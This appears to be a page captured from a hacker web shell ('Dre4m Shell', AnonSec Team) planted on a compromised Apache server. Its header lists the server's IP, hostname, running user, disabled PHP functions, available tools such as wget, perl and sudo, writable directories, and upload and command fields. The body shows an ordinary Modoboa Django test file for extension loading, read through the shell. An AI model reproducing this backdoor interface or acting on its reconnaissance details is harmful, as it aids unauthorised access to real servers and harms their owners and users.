Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.222.182.195
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/core/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/core/tests/test_extensions.py
"""Extensions management related test cases."""

import os
import sys
from io import StringIO

from testfixtures import compare

from django.core import management
from django.test import TestCase, override_settings

from modoboa.admin.models import Domain
from .. import extensions, signals

sys.path.append(os.path.dirname(__file__))

CUSTOM_APPS = (
    "modoboa",
    "modoboa.core",
    "modoboa.lib",
    "modoboa.admin",
    "modoboa.limits",
    "modoboa.relaydomains",
    "stupid_extension_1",
    "stupid_extension_2",
)


class ExtensionTestCase(TestCase):
    """Extensions related tests."""

    @classmethod
    def setUpClass(cls):
        """Initiate test context."""
        cls.pool = extensions.exts_pool
        with override_settings(MODOBOA_APPS=CUSTOM_APPS):
            cls.pool.load_all()

    @classmethod
    def tearDownClass(cls):
        """Reset context."""
        del cls.pool.extensions["stupid_extension_1"]
        del cls.pool.extensions["stupid_extension_2"]

    def test_register(self):
        """Test if registering works."""
        self.assertIn("stupid_extension_1", self.pool.extensions)

    def test_get_extension(self):
        """Check getter method."""
        self.assertIsNone(self.pool.get_extension("toto"))
        instance = self.pool.get_extension("stupid_extension_1")
        self.assertEqual(instance.__class__.__name__, "StupidExtension1")

    def test_get_extension_infos(self):
        """Check getter method."""
        self.assertIsNone(self.pool.get_extension_infos("toto"))
        infos = self.pool.get_extension_infos("stupid_extension_1")
        compare(infos, {
            "name": "stupid_extension_1", "label": "Stupid extension",
            "version": "1.0.0", "description": "A stupid extension",
            "url": "stupid_extension_1", "always_active": False,
            "topredirection_url": None
        })

    def test_list_all(self):
        """Check list_all method."""
        result = self.pool.list_all()
        self.assertEqual(len(result), 1)
        ext = result[0]
        self.assertEqual(ext["id"], "stupid_extension_1")

    def test_load_initial_data(self):
        """Check if method is called."""
        self.signal_called = 0

        def handler(sender, extname, **kwargs):
            self.assertEqual(extname, "stupid_extension_1")
            self.signal_called += 1

        signals.initial_data_loaded.connect(handler)

        stderr_out = StringIO()
        management.call_command("load_initial_data", stderr=stderr_out)
        self.assertTrue(Domain.objects.filter(name="stupid_1.com").exists())
        self.assertIn("stupid_extension_2", stderr_out.getvalue())
        self.assertEqual(self.signal_called, 1)

        signals.initial_data_loaded.disconnect(handler)

    def test_get_urls(self):
        """Load extensions urls."""
        urls = self.pool.get_urls()
        self.assertEqual(len(urls), 1)

        urls = self.pool.get_urls(category="api")
        self.assertEqual(len(urls), 0)

Anon7 - 2022
AnonSec Team